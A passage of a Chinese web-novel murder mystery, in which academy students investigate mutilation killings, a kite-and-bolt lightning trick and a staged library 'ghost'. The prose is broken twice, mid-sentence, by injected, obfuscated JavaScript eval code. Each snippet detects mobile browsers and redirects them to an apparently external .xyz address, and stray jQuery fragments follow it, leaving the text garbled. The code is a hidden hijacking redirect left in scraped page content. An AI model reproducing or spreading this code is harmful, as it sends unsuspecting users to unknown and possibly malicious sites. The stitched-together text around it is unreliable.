姜琛回道,“我等职责所在,自当尽力。冯大人不必多礼。不过,我建议书院学子在真凶查出之前,能够集中休息上课,如此可以防范凶手趁学子们落单再下手,同时也更容易让真凶现形。”
“姜大人所言即是,我等今日就如此安排。”冯祭酒回应道。
在场听到的学子都纷纷散开,各自准备回去收拾铺盖集中休息。
裴逍几人也要回斋舍。她走了几步,见姜飒没跟上,回头一看,姜飒还愣在原处,盯着前面台阶之处发呆。
“姜飒!”裴逍几人连着叫了几声,那厮才反应过来,左右看看找到他们,跟了过来。
“你想什么呢?那么专注?”百里摇光问。
“没,没什么。”
夏慕卿看看他,问道,“你怎么脸那么红?”
“啊?热,热的。”姜飒低着头,搪塞回应道。
回到斋舍,一关上门,他便一股脑趴到了床上,把脸埋进了锦被里。
姜飒脑海里又闪过了方才裴逍救他时,两人对视交错时那瞬间的画面。
裴逍眼眸如星,两条远山长眉轻蹙,一抹忧色含于眉眼之间。
姜飒心跳如鼓,他也不知道从方才什么时候开始心内慌慌乱跳的,只知道后来什么也没听进去,看进去。
我该不会,该不会是喜欢上阿逍了吧?姜飒脑中蹦出这个念头,心越跳越快,甚至失了章法,乱起来。
他翻身仰卧,一手按住胸膛,一手拍在脑门,喃喃道,“阿逍是兄弟啊!”
40. 第40章
夜里,学子们都集中到了书院里几处大的堂室,三十人一间打地铺休息。每间都有几个博士助教带看。这样将院中五级学生分配到了十间堂室。
几十个少年集中在一处,兴奋地叽叽喳喳,仿佛暂时忘却了可怕的杀人案,只觉得新奇有趣,一拨一拨地,或闲聊,或玩乐。
“我们讲鬼故事吧。”姜飒躺在裴逍几人床铺的中间,突然坐起来兴奋嚷道。
“哟,就你那小破胆子,给你讲鬼故事,你敢听吗?”躺在姜飒左手边隔一个位置的夏慕卿调侃道。
“怎么不敢?速速讲来。”姜飒激动地摩拳擦掌。他想着这么多人在一块,胆子都给他壮肥了,简直就是听鬼故事的大好时机。
不远处的夏清泽、虞砚听到,也凑了过来。”我们给你们讲一个吧”
“好啊。”没人拒绝。
夏清泽坏笑着给虞砚使了个眼色,然后虞砚坐下,“咳、咳”了几声,开口道,“咱们学院五年生祁彦辰的那间斋舍白天你们也见了,今日在那间斋舍里发现的沈维翰,之前就是祁彦辰的舍友——”
“这些我们都知道了。”姜飒打断道。
“哎呀,你等等,后面有你不知道的。”虞砚往前坐了坐,接着说,“一开始,祁彦辰刚不在的时候,沈维翰还没有立马搬出来。”
“但是他在那屋子里,开始每晚做噩梦,梦里大喊大叫,声音极大。他自己精神恍惚、形容憔悴不说,还吵得周围斋舍的人也休息不好。后来监丞给他安排住进了别的院子,离得还比较远。众人都想这下可以安宁了。不成想,离奇的事情发生了!”
“他搬进新的斋舍住的第一晚,原来斋舍那间院子里的其他学子,晚上又听到了沈维翰在大喊大叫。那几个人壮着胆一起去推开那房门,见沈维翰之前睡的床上并没有人,而对面祁彦辰的床上,却躺了一个人。他们互相拽着走近那床上去看。”
“离床越来越近,其中一人突然感觉,一只手从后拍在了他的肩上——”
“啊——”姜飒突然闭着眼大叫起来,惹得在听的其他几人顿时感觉一阵凉意,毛骨悚然。
夏慕卿伸腿朝着姜飒踹了一脚,“干什么你?”
姜飒停住喊叫,慢慢睁开眼,见前面几个少年都疑惑地盯着他,他斜着眼睛去瞟自己右肩,见一只手,正在那上面轮转着手指敲打。
“哈哈哈哈哈”夏清泽收回手,迅速闪到了离姜飒最远的虞砚那边,适才他是故意悄悄过来吓唬姜飒的,这个笑话之前他们已经用来吓过好几次人了。
“夏浊浪!”姜飒捋起袖子,做势要起来报复,被百里摇光拽住,“你不想知道,他们看见什么了吗?”
姜飒停住动作,“哼,先给你记上!”。
虞砚见他和夏清泽的小阴谋已经得逞,便没有再卖关子,接着讲道,“他们走近以后看到,那床上躺的人,竟然是沈维翰!”
“他不是搬出去了吗?”姜飒疑问道。
“没错,所以说很离奇啊!他们几个忙摇醒了沈维翰,那沈维翰醒了,却也不知道自己为什么又回到了这房间,而且还躺到了祁彦辰的床上。他吓坏了,手忙脚乱下床,跌跌撞撞地跑出去,大半夜敲监丞的房门,要告假回家。这种情况,书院里自然同意了。他就回去家中住了一段时间,等再来了以后,就正常了。”
“看起来祁彦辰的死,对他影响很大。”夏慕卿道。
“嗯,祁彦辰死得离奇,跟他住一间害怕也正常。不过书院里也有人猜测是沈维翰害死了祁彦辰,所以,祁彦辰死后冤魂来找他报仇。”虞砚说道。
“那只手是怎么回事?”百里摇光突然问道。
这提醒了姜飒,“对啊,那只手怎么不讲了?”
虞砚愣了下,随即和夏清泽抱着肚子大笑起来,也不回答。
裴逍摇了摇头。
夏慕卿朗声笑起来,揭穿道,“他们故意编的,吓唬姜飒的!”
姜飒倏地站起,张牙舞爪地朝夏清泽和虞砚追打而去。
·
到了该休憩的时间,负责看顾二年生的博士阮柏聿喊众学子熄灯入睡。
姜飒想去茅厕,但是因为听了些吓人的故事,心里害怕,便喊裴逍陪同。
裴逍无奈,只得陪他去了。
须臾,姜飒出了茅厕,朝等在外的裴逍走来,一边走一边道,“阿逍,我好了。你确定——”他突然止住话头,惊恐地盯着裴逍身后。
裴逍见他这反应,微微眯了眯眼,心里涌上几分戒备。
她回头一看,只见后面几步远,一个女子两只胳膊平举在前,僵僵直直地走着。那女子还带着面纱,看着像是兰惜姑娘。
裴逍走近,见果然是兰惜,便轻唤道,“兰惜”。
可是兰惜没有任何反应,仍是举着手臂往前走。裴逍走到兰惜前面一段距离,伸手在她眼前晃了晃。兰惜的目光依旧没有聚焦,只是自顾自向前走。
姜飒跑来拽着裴逍退开两步,“她,她,她这估计是传说中的夜游症。”
裴逍点了点头,仍旧盯着在前进的兰惜。
姜飒挠了挠头,说道,“我还是第一次见人夜游的,这大半夜,怪吓人的。我听说不能轻易叫醒在夜游的人,不然可能会导致其发疯或受惊吓而死的。”
裴逍看着兰惜再往前走,就快要到学子聚集的堂室区了,与姜飒说道,“我送她回医舍。你先回去休息吧。”
说着,裴逍疾走几步,追上了兰惜。
“我我我跟你一起。”姜飒四处看看,蹑手蹑脚赶忙跟上了裴逍。
裴逍跟着兰惜,见兰惜几次快要走到学子休息的堂室区,连忙轻轻推着她的胳膊转向去医舍的方向,随后就这么跟着兰惜,看其一步步地走回了医舍房间里,给她关上门。裴逍和姜飒方才往回走。
裴逍心中正思索着近来发生的事,突然听到姜飒说,“阿逍,你莫不是真的心悦那兰惜姑娘?”
裴逍一脸莫名看向姜飒。她正准备开口,却见姜飒盯着远处,又哆哆嗦嗦地问,“那,那又是什么?”
裴逍转头看去,只见回程路上远远有两个高长的人影。
“是出来起夜的学子吧。”裴逍盯着远处,淡淡道。
话音刚落,那两个高长的人影突然快速向他们靠近过来。
“啊“姜飒惊叫了一声,“怕,怕不是黑白无常吧?”说着,他紧紧搂住裴逍的胳膊,瑟缩地再不肯往前走。
“没什么,不用疑神疑鬼。”裴逍一脸无奈,拽着姜飒往前挪步。
人影走近,原来是百里摇光和夏慕卿。
“怎么是你们啊?”姜飒松了口气,搂着裴逍的胳膊也不那么紧了,裴逍趁机将自己胳膊拽了出来。
“看你们那么长时间没回来,现在非常时期,怕你们遇上什么麻烦,我们就出来看看。”夏慕卿道。
百里摇光上下看了裴逍几眼,见姜飒紧挨着裴逍,一副瑟缩的模样,奚落道,“有什么好怕的?!”
裴逍看着夏慕卿回应道,“没事。我们出来走走,消消食。”她想兰惜夜游的事情可能并不想很多人知道,便没透露。
姜飒见裴逍这么说,想肯定有他的道理,便也没说话。几人一同回了堂室安寝。
·
因为学子们人心惶惶,加之府衙人员在书院中到处查访询问,书院里便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800028|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暂停了课,让所有学子自修,直至找出真凶。
学子们在课室里自修,虽然没有安排先生看着,但是因为近来发生的事,大多学子还是选择与其他人一起待在课室中。
祁青阳仍是被停课的状态,也还被安排在书院指定的房间,没在课室里。姜飒便坐到了祁青阳的位子上,时不时跟旁边的夏慕卿嘀咕几句。
“唉你说,这死的几个人都是平时跟窦尧臣走得近的人,而且全部都被去了根,会不会是他们几个曾经一起对谁家姑娘做了什么,人家寻仇来了?”
夏慕卿眼神没从手中的书卷上移开,悠悠回应道,“寻仇多半是真,却未必是对人家姑娘做了什么。”
“那也是。”姜飒应道,“也可能是欺负了谁家的小郎君招来的。还有窦尧臣和最后那个叫什么来着?”
“沈维翰。”
“对,就是这个人。他们两人一个死在祁彦辰的墓前,一个死在祁彦辰以前住的斋舍里——”,说到这,他压低了声音,靠近夏慕卿道,“怎么看都还是和祁彦辰的事情脱不了关系啊。”
夏慕卿放下了书卷,“凶手应该就在当年祁彦辰一事的知情者当中。”说着,他看向裴逍问道,“那花芷姑娘的下落后来可曾打听到?”
“昨日午膳后,我问了兰惜,她只知花芷姑娘后来被家中许了人家,还是远嫁,具体的她也不知了。”裴逍回道。
“那这条线索算是断了。”夏慕卿道。
这时,裴逍突然起身要往外走,姜飒连忙拉住她,“阿逍你去哪?”
“我想去查一查。”
“我也去!”
裴逍和姜飒走出课室门口,后面夏慕卿和百里摇光也跟着出来了。
“你想去哪查?”夏慕卿问。
“圣人祠、典籍楼。”裴逍一边走一边道。
“为什么是这两个地方?”百里摇光不解道。
裴逍微微眯了眯眼,说道,“圣人祠被雷火击中;典籍楼中传出有鬼影;明志湖上飘诅咒人偶。随后这些地方都发现了尸身,这太巧了。”
“你的意思是这些都是凶手所为,故意想营造是鬼魂杀人什么的?”百里摇光问。
“不能断言,不过从这查是一条思路。”裴逍道。
“嗯”,夏慕卿点了点头,接着道,“除了窦尧臣的尸身是在书院外发现的,其他四个死者都是在书院里发现的,甚至后面三个就是在发现尸身的地方被杀的,凶手很可能就是书院中的人。这样,他才能在书院这些地方顺利杀人和移尸。同样地,如果是凶手故意制造那些诡异事件,迷惑视听,那他也应是潜伏在书院中最方便。”
“书院里的人?那学生、先生还有院工都有嫌疑咯。”姜飒嘀咕道。
几人先去了圣人祠。
圣人祠的屋顶是庑殿顶的形制,木质框架结构,上铺瓦片,可以看出东南一角的屋檐被烧得焦黑,因为国子学几日来连发命案,所以还没来得及安排工匠修补。
裴逍走近几步去看那烧焦的屋檐,行动间突然见上面有一处亮得刺眼。她回头一看,见姜飒拿了面小镜子,正揽镜自照。
“姜飒你动动镜子。”裴逍开口。
姜飒未解其义,不过顺从地晃了晃镜子。
随着他的动作,屋檐上那刺眼的亮光时而出现,时而消失。
“这上面应该有什么可以反光的东西。”裴逍说着,在廊柱和栏杆上借力,几步跃上了屋顶。
百里摇光也跟着施轻功跃了上来,说道,“是一支弩箭!”
那箭射中房檐,没入了有一半的箭身,可见射箭之人力道颇大。裴逍凝视着那箭,心中泛起隐隐的忧虑。
41. 第41章
“上面怎么会有弩箭?”姜飒惊讶道。
夏慕卿抬头看着裴逍和百里摇光注视的地方,说道,“不仅这弩箭出现得奇怪,你们看那烧焦的痕迹,焦黑程度是以弩箭为中心开始扩散由深变浅,就像雷电是由这支箭引来的。”夏慕卿说道。
百里摇光听闻,又仔细看了看,说道,“确实如此。不过这弩箭的位置在屋檐下,按理来说雷电不应该会劈到。”
这也正是裴逍疑惑的地方。
几人正观察思索着,裴逍见姜飒举着把折扇撑开挡住日头,突然想起来旬假那日傍晚雷雨之前,北方天空飘得那只纸鸢。她又仔细看了看,果然见那弩箭上残存有一点线。
裴逍抬头看向百里摇光,问道,“你还记得旬假那日北边天空上的那只纸鸢吗?”
百里摇光回看裴逍,顿了片刻道“记得,那日眼见乌云密布要下大雨,那纸鸢还高高飞在天上,没有要收的势头,我觉得很奇怪,就多看了会。”
“嗯,而且圣人祠正在我们斋舍所处位置的北方。我猜测那纸鸢可能用了铜丝或铁丝缠绕在原本的竹制骨架上,然后通过被雨水打湿或者提前浸湿的麻线,系在了这弩箭上,引来了雷电,烧着了这片屋檐。”裴逍猜测道,说着她伸手摸了摸那箭杆,已经过去几天了,那木质的箭杆仍有些潮湿。
“这么说来,这线是有点像系纸鸢的线。”百里摇光道。
姜飒收起了扇子,走到屋檐下,问道,“会不会没有那么麻烦,就是放火箭直接射中屋檐着火的?”
“应该不是。”百里摇光跃到了地面,“目前军中用的火箭,箭头是很长的,发射前会先把箭头烧到红热,然后缠裹油布,引燃后发射,这样的话箭头火烧的程度会更深,且会有膏油的气味。而这一支就是咱们骑射课上练习用的箭,箭头短,没被火烧,也没有膏油的气味。”
“如果那人真的是按阿逍所说的方式设计的,难道他能预测那日有雷雨,提前准备了东西?”姜飒提出一个疑问,
“也不尽然,弓箭、纸鸢,在国子监里也不算稀罕物件。那日雨势虽然大,但是很早天就已经阴了,临时起意准备也是来得及的。”突然姜琛的声音从圣人祠内传出。
“二叔!”姜飒叫了一声,往圣人祠里面走去。
“刑部侍郎是姜飒的二叔?”百里摇光疑惑问道。
“嗯,京中姓姜的士族大多出自温国公一脉。”夏慕卿解释道。
三人跟着进去,见姜琛正在圣人祠中勘察,他们一并上前行了礼,姜飒一一将三人介绍给姜琛。
姜琛扫了扫面前几个少年,问道,“你们几个也想查案?”
“是啊,二叔。”姜飒应道,说完他又向姜琛走近几步,接着说,“二叔,你带我们一起查吧?这案子早完结,对大家都好。而且我们之前本来就在查祁彦辰自焚的事情的。”
“你们之前就已经在查祁彦辰的案子了?查到了什么?”姜琛问。
姜飒看了看裴逍,裴逍点了点头。
姜飒方才道,“我们查到,在祁彦辰自焚前一日,他曾救了一个女子。当时那女子被窦尧臣几个纨绔抓走险些被侮辱。但是祁彦辰救了那女子,自己却没有脱身,后来第二日他就自焚了。他救的那个女子叫做花芷,是国子学医舍中祝医师之前的医仆,但后来听说由家中许配了人家远嫁了,我们找不到这个人打听当时的情况,线索也就断了。所以从祁彦辰被窦尧臣那伙人扣住一直到他死之前发生了什么,我们没查到。”
姜琛背着手在圣人祠里踱步,听到这,方才说,“如此,这个女子的事情我派人来查。”
姜飒大眼滴溜一转,看着姜琛试探问,“二叔,你看我们都给你提供线索了,你不带我们一起查是不是太不厚道了?”
姜琛轻嗤了一声,摇了摇头,无奈道,“你们想跟着查案的话,晚点到先生斋舍二十八房找我,我在那里等你们”。
“谢二叔。”“谢姜大人。”几人听闻齐声道。
·
随后,裴逍几人又去了典籍楼。
典籍楼因为之前的鬼影传言,加上后来地下藏书室又发现了尸身,已经成了学子们眼中的禁忌之地。他们几人进到典籍楼,只有一个院工坐在一层昏昏欲睡。
“纪先生,典籍楼在闭门之后,还有什么人可以进来吗?”夏慕卿问。
那院工见有学子进来,振了振精神,坐直了些,回应道,“典籍楼的钥匙只有我和冯祭酒有,祭酒寻常不来这边,按理说我闭门之后,应该就没人会进来了。”
“那典籍楼里晚上有鬼影的事情,你听说了吗?”姜飒问道。
“别乱说!哪有那些东西?”那院工忙道,“定是学子们因为近日的杀人案受了惊吓,才开始传出这些有的没的。”
姜飒接着问,“可是果真如此的话,那地下藏书室赵子申又是怎么进去的?还死在了里面?”
那院工叹了口气,“我也想不通啊,典籍楼和地下藏书室的钥匙都是只有我和祭酒有,国子监有规定,这钥匙不许出借人用的,有需要的话,一律由院工亲自来开门。就上次你们发现尸身那次,原本是要去地下藏书室找书,不也是我带钥匙下去给你们开门的吗?”
几人互相看了看,裴逍问,“那我们可以去楼上看书吗?”
院工先是有些惊讶,随即道,“可以,典籍楼目前只有地下藏书室因为发现了尸身被封,其余楼层可以自由出入的。你们想去哪层便自己去吧。”
几人顺着楼梯向上走。
裴逍问,“你们记得他们说的有鬼影的是第几层吗?”
“我记得有说在三层见过的。”夏慕卿道。
“我怎么记得是说四层啊?”姜飒道。
“好像是三层、四层和五层都有。”百里摇光听到的版本又不一样。
几人无奈,只好挨着楼层上去看。
三层他们查探了一遍,没发现什么异样,便上了四层。
一上四层,裴逍便问,“你们有没有闻到什么味?”
“好像有些寺庙里用的那种线香的气味。”夏慕卿平日里比较精细,也时常会熏香,故而对气味会敏感一些。
裴逍在放置烛台的高几上面发现了些许香灰,心中猜测这应该就是气味的来源。因为最近典籍楼少有人来,院工也未开窗通风,才导致气味没有散出去,只是不知为何在三楼以下并没有闻到。
几人正在搜寻查看,突听得夏慕卿“哎哟”叫了一声。
裴逍走近一看,原来是姜飒拿着什么物什挥舞,不小心甩到了夏慕卿的身上,磕了他的头一下。
“对不住,对不住,我不是故意的。”姜飒慌忙把手里的东西扔到地上,查看起夏慕卿的伤势。
夏慕卿一边揉着头,一边无奈道,“行行行,你离我远点,真是怕了你了。”
姜飒扔在地上的东西,却吸引了裴逍的注意力。那是一块李子大小的石头,奇怪的是上面竟然还绑了一根线。
裴逍捡起那石头问,“这石头在哪捡的?”
“喏,就这。”姜飒说着将裴逍引到了他捡到石头的地方,是在靠近窗户的地面上。
“这还有个绑着线的竹片,你要不要玩?”百里摇光直起身,将在地上捡到的东西丢给姜飒,开玩笑道。
“不了不了!”姜飒往后一步跳开。那东西在快到他身前时,被裴逍伸手接住了,拿在手中查看。
那竹片的一端牢牢系着一根细棉线,那棉线长有几尺。裴逍一直拉到线的那头,见那线末端有被火烧过的痕迹。她将线头拿到鼻端嗅了嗅,有些许胡麻香油的气味。
“竹片是在哪发现的?”裴逍抬头看向百里摇光。
“那儿,与姜飒说的那石头的位置几步的距离。”百里摇光指着一处道。
裴逍走过去,将石头和竹片拿在手中摆弄,心里思索着,这两样东西都拴了一样的线,怎么看也是有关联的。她想起棉线的一端有火烧过的痕迹,除了外带火源外,那这楼中唯一有可能烧它的东西便是灯烛了。
她将竹片丢在脚下,手中拿着系在竹片上的棉线往那烛台走去。到烛台边,发现那线比竹片到烛台的位置长了一截。她回过头,眼神四处逡巡,想看看那竹片,如果不是放在方才发现的位置,那可能是放置在何处。
姜飒和百里摇光虽然不懂裴逍在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800029|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搞什么名堂,但见她一副沉思的样子,便也没打扰她。
夏慕卿心思慧巧,他见裴逍如此摆弄,也就猜出了裴逍在做什么,他四处看了看,突然道,“那竹片会不会是放在高处?”
裴逍一听,仰头往高处看。
其他几人见此,也都抬头往上看。
百里摇光眼力好,不知看到了什么,突然跃上了房梁。
“这里有根短箭!”他说道。
其他三人看过去,果见那房梁之上,横插着一根短箭。
“这箭上也绑了根线!”百里摇光道。
裴逍听闻也跃上了房梁,见果然如百里摇光所说。那细线与刚才系在石头上和竹片上的也一样,不过这根线不长,约莫两尺的长度,又很细,不细看根本注意不到。
裴逍拉起那线的另一端放到鼻下,果然也闻到了胡麻香油的味道。
她又看了看那竹片和烛台,突然想那竹片会不会也是放置在房梁之上。她冲下面的姜飒道,“将竹片扔给我!”
姜飒照做,随后又按照裴逍指示,往那烛台的位置走。
“不够长啊。”姜飒离那烛台还有约莫三尺距离便停下了。
裴逍思索着,突然看到旁边还有一根房梁,与她跃上来的这根房梁平行支撑楼体结构。她便跃去那根房梁之上,接着道,“你再试着往前走。”
“差不多,正好可以到!”姜飒停在了烛台的旁边。
裴逍低头看那房梁,见有一处灰尘较浅的痕迹,像是有什么东西放在那蹭掉了一些灰尘。她将竹片放置在上面,刚好和那痕迹完全对应上。
“竹片看来就是放置在此处。”她说着便跃下了房梁。
“竹片如果是放置在那,你看会不会是这样?”夏慕卿说着,示意裴逍将手中竹片递给他,他一手拿起竹片,一手拿起方才那块石头,放在了竹片没有系线的一端上面,接着道,“当这侧线断了,竹片上另一端因为有石子,失去了平衡,石子就会掉下来。”
裴逍点了点头,“只是不知这石子上的线系在何处。”
“是不是和短箭上那根线系在一起的?你看那石子若放在竹片上,竹片与短箭上那根线的线头之间的距离,与石子上这根线差不多。”夏慕卿道。
夏慕卿说着将石头上所系的线拉起来,几人上下看了看,果然是很接近。
“可是在箭上面系块石头是想做什么呢?而且怎么还断了?”百里摇光不解道。
裴逍和夏慕卿又陷入了沉思。
半晌,姜飒等得没耐心了,说道,“这些东西会不会和典籍楼鬼影的事情没什么关系,只是不知之前因为什么原因有人弄的。”
“不排除这种可能。我们再看看别的楼层吧。”夏慕卿道。
裴逍点了点头,正要走,突然看见旁边姜飒的脸上沾了一小块黑灰色的东西。
“你脸上是什么?”她问道。
姜飒疑惑地看了裴逍一眼,从怀里取出方才那小镜子照了下,将贴在左脸颊上的那东西拿了下来,“好像是烧黑的纸。”
纸在典籍楼里并不奇怪,几人也没有太在意,继续上了五层。随后他们又去了六层、七层,都没发现什么异常,也没有发现在四层看到的那些奇怪的东西。
夏慕卿道,“只有四层有这些奇怪的东西,会不会就是有人利用这些东西做手脚,制造出了典籍楼鬼影的事件?虽然现在还想不通具体是怎么实现的,但是这不像是典籍楼中正常该有的东西,而且就出现在了有过闹鬼传言的四层实在是太巧了。”
“我也这么看。”裴逍认同道,“至于闹鬼楼层的说法不一致,约莫是以讹传讹。”
·
一番查探后,天色已渐渐暗下来,几人用了晚膳,就到先生斋舍找姜琛。
姜琛正在看卷宗,见他们来了,便将堆在案头的祁彦辰自焚案卷宗递给他们看。
几人看着,夏慕卿突然指着卷宗一处说,“祁彦辰死后,领尸之人竟然是祝鹊?!”
说完,他见其他三人一脸迷茫,不解其意,便解释道,“祝鹊,就是祝医师。”
“怎么会是祝医师?”姜飒惊讶问道。
42. 第42章
“卷宗写祁彦辰自焚而死后,别院附近村民报官,京兆府调查认为确系自戕后,通知亲属领尸,其亲属俱不在京,由祝鹊代领。”百里摇光详细念了下卷宗记载。
“那是祝医师将祁彦辰葬在玉山的?”裴逍疑问道。
几人面面相觑,夏慕卿道,“看来只能问问祝医师了。”
随后姜琛又将本案中包括窦尧臣在内的五位死者的尸格,给了姜飒几人,他们从卷宗中发现:
第一个死者窦尧臣的死亡时间是书院里圣人祠被雷火击中那天夜里;死亡原因为断根失血而死,谷道破溃,应为硬物捅伤;此外,身上还有多处刀伤,像是凶手泄愤所为;四肢有绑缚痕迹,身体还有被拖拽、淋雨的痕迹。在发现尸身的地点,并没有很多血迹,应是死后被凶手转移到了那里。
夏慕卿看到这,看向姜琛问道,“姜大人,窦尧臣是在雨夜被人转移到祁彦辰墓前,大雨里在那附近有没有什么线索?或者有没有人目睹什么异常情况呢?”
姜琛道,“山上有车辙印,但是那车辙印不深,只能看到山路泥多的地方留下的痕迹,山下没多远便看不出了。所以无法据此找出凶手是从哪出发的。”
“这么说,凶手先是虐杀了窦尧臣,然后冒着大雨连夜将他的尸身用车推到了山上祁彦辰的墓前?”姜飒一脸惊讶道,“凶手为什么这么急呢?那天雨那么大,淋了雨,怕是自己身子也要出问题吧。”
“这不难理解,一方面窦家在全城找窦尧臣的踪迹,凶手不尽快处理,很可能会先被窦家找到。另一方面,那天下大雨,又是夜里,正好方便凶手行事,不易被人发觉,而且雨水还能破坏一些痕迹,不易被追踪。”夏慕卿悠悠道。
姜琛赞许地看了他一眼。
“不过,要做到这些,凶手那晚应该在国子学外咯?”姜飒看向姜琛,“二叔,那祁青阳就没嫌疑了吧,他是住在国子学里的。”
裴逍心中也想到了这点,但是她没办法确定,果然接下来就听到夏慕卿说道,“虽然我们都不想怀疑青阳,但是这点没办法排除,那晚我没在斋舍里,虽然他是在斋舍里休息的,但是我们不能确定他一晚上没出去。如果没有下雨,或许半夜他有动静的话,阿摇耳力好,可能能听到,但那夜雨那么大,有动静也被雨声遮盖了。”
百里摇光点了点头,“没错,那晚如果青阳从隔壁斋舍出去动作很轻的话,我是可能听不到。”
“唉”姜飒沮丧道,“凶手这么恨窦尧臣,又和祁彦辰有关系,那青阳怎么也摆脱不了嫌疑了吧?”
姜琛听闻抬起了头,“你们几个这么上心,原来是想给那学子洗清嫌疑?”
“可不是!”姜飒脱口而出,随即他很快反应到,这么说他二叔可能不让他们继续跟着查案了,连忙补救道,“也不全是,我们在国子学读书,书院里出了这么大的事,死了好几个学子,那我们也想出些力气,早日查出凶手,大家都能正常读书生活嘛。”
姜琛觑了他一眼,轻摇了摇头。
几人见姜琛没怪罪,都噤了声,低头看起卷宗来。
第二个死者王凛的死亡时间是窦尧臣尸身被发现的那日,也就是这旬第二日。他的死亡原因和窦尧臣一样,也是因为断根流血而亡,身上伤口和窦尧臣差不多,也是被虐杀的,唯一不同的是在王凛的鼻中发现了迷药残留。在圣人祠中,没有发现血迹,王凛也是在死后被转移到那里的。
第三个死者,也就是他们几个在典籍楼地下藏书室里发现的那学子——赵子申,竟是在他们发现前两日夜里就已经被杀了。与前面两个死者不同的是,他的致命死因是利器割喉,至于断根和破坏谷道则是凶手在他死后才做的,他的鼻中也有迷药残留。在典籍楼地下藏书室中,发现了不少血迹,赵子申就是在那里被杀害的。
明志湖里捞上来的第四个死者钱铎,死亡时间是他的尸身被发现的前一晚,也就是明志湖上飘了人偶的当晚。钱铎的致命伤以及其他伤和第三个死者赵子申一样,鼻中也有迷药残留。在湖边草丛中发现了血迹,这个之前裴逍他们几个已经在现场看到了,也如他们之前猜测一般,钱铎便是在湖边被杀害后推入湖中的。
第五个死者,也就是在祁彦辰旧时斋舍里发现的沈维翰,死亡时间是尸身被发现的前两日,也就是典籍楼和明志湖中两个死者被人发现的当晚。沈维翰的致命伤及其他伤与第三个、第四个死者相仿,唯一不同的是他的鼻中并没有迷药残留,但是体内却检出了会导致人产生幻觉的药物乌头的残留。斋舍房间里有血迹,沈维翰是死于当场。
夏慕卿从卷宗上移开眼,一边思索一边道,“由此来看,前两人是死于断根失血,而后三人是被凶手割喉杀死以后,再对尸身进行破坏。为何会有这样的不同?”
“看起来前两个人死得更惨,后面三个人稍微好受点。”姜飒悻悻地说。
百里摇光猜测道,“难道是因为凶手更恨前两个人?”
“嗯。”裴逍应了一声,接着道,“还可能是因为杀后面三个人时不便于采用前面的方式,后面三个人都是在书院中被害的,如果按照虐杀窦尧臣和王凛的手段来,很可能会引起其他人的注意。”
夏慕卿点了点头,说道,“有理。凶手在外面动手时没有太多顾虑,所以采用了更加暴力残酷的方式杀死了窦尧臣和王凛。在书院中需要顾及可能会被发现,被害的三人也可能会因为疼痛发出剧烈声响和反抗,所以才退而求其次,先杀了人再对尸身施虐。”
姜飒看了看卷宗,说道“这五个人除了王凛是死于白天,其他人都是死于夜里。王凛是在这旬第二日白天被杀的,那当时在书院中读书的学子都可以排除了?青阳当时也在书院里,虽然他被停了课,单独安排在特定的房间,但没办法出去书院杀人吧?”
随即姜琛的话又打破了他的希望,“这点之前京兆府已经查问过了,祁青阳一开始虽然是停了课,被限定在书院中安排的房间休息,但是并未被限制自由,不排除他在那个时候潜出去动手。”
“好吧。”姜飒认命地应了一声。
“我注意到一点。”夏慕卿说道,“凶手除了杀窦尧臣的时候没有用迷药,杀其他四个人的时候都用了迷药或者致人产生幻觉的药物。或许因为凶手武力不强,为了确保有把握制服目标,才加了迷药。而对窦尧臣没用迷药,则可能是他有别的什么手段,可以使窦尧臣放松警惕,趁其不备动手,而对于其他人却没有这种条件。”
姜琛听夏慕卿说完,突然看着他,发出了邀请。“世子可有兴趣国子学肄业后来刑部做事?”
夏慕卿愣了片刻,旋即将手中折扇摇了摇,轻笑着道,“姜大人您说笑了,我是瞎猫碰到死耗子而已,哪里管得了那许多事?我啊,还是适合游山玩水,做个富贵闲人。”
“咦,不是先帝有令,亲王及子嗣不能为官从政吗?”姜飒以为二叔忘记了,出声提醒。但是,他没注意到夏慕卿眼中当时一闪而过的失落。
“哎呀,差点忘记了。”姜琛口中虽这样说,却还是别有深意地看了夏慕卿一眼,随后道,“时间也不早了,你们先回去就寝吧,明日再查。”
·
几人出了姜大人的房间,没走几步,就听到姜琛喊,“姜飒,回来。”
“二叔叫我,我先去一下,你们等等我呀。”姜飒急急忙忙吩咐了一声,便跑回去了。
裴逍转回身,见姜琛的身影透过里面的灯烛在窗户上印出,很快姜飒的影子也出现在窗户上。突然有什么东西在裴逍脑子中炸了一下,呼之欲出。
“我大概知道典籍楼里的鬼影是怎么搞的了。”她说道。
夏慕卿从典籍楼出来后,脑子里也是一直在琢磨这件事,此时听裴逍想了出来,忙问道,“是怎么实现的?”
“你看。”裴逍望着姜琛所暂住的斋舍,与夏慕卿说道。“典籍楼里的鬼影所需要的两个关键之物,是影子和烛火。烛火就是典籍楼里青铜烛台上的那蜡烛。而所谓的鬼影,我猜是用类似剪彩的方式做了人形,用得应该是纸。对于设置的人来说,难实现的有两点。其一,典
